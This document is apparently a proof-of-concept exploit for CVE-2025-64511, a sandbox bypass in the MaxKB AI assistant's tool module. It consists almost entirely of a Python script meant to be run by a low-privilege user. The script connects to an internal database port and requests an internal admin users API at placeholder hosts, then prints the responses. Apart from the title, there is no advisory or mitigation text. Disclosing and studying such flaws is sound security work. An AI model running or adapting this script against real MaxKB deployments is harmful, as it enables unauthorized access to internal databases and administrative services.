CVE-2025-64511: MaxKB AI助手沙箱绕过导致内网服务访问漏洞

# MaxKB CVE-2025-64511 PoC - Sandbox Bypass to Internal Service Access # Requires low-privilege user access to MaxKB tool module import socket import urllib.request def access_internal_db(): """Attempt to connect to internal database service""" try: # Target internal database host (example) db_host = 'internal-db.local' db_port = 3306 # Create socket connection to internal database sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((db_host, db_port)) if result == 0: print(f"[+] Successfully connected to internal database at {db_host}:{db_port}") # Could execute database queries here return True else: print(f"[-] Connection failed or service not accessible") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def access_internal_api(): """Attempt to access internal API endpoint""" try: # Target internal API (example) internal_api = 'http://internal-api.local:8080/admin/users' # Make HTTP request to internal service req = urllib.request.Request(internal_api) response = urllib.request.urlopen(req, timeout=5) print(f"[+] Successfully accessed internal API: {internal_api}") print(f"[+] Response: {response.read()}") return True except urllib.error.URLError as e: print(f"[-] Internal API access failed: {str(e)}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == '__main__': print("MaxKB Sandbox Bypass PoC - CVE-2025-64511") print("This PoC demonstrates ability to access internal services") print("-" * 50) access_internal_db() access_internal_api()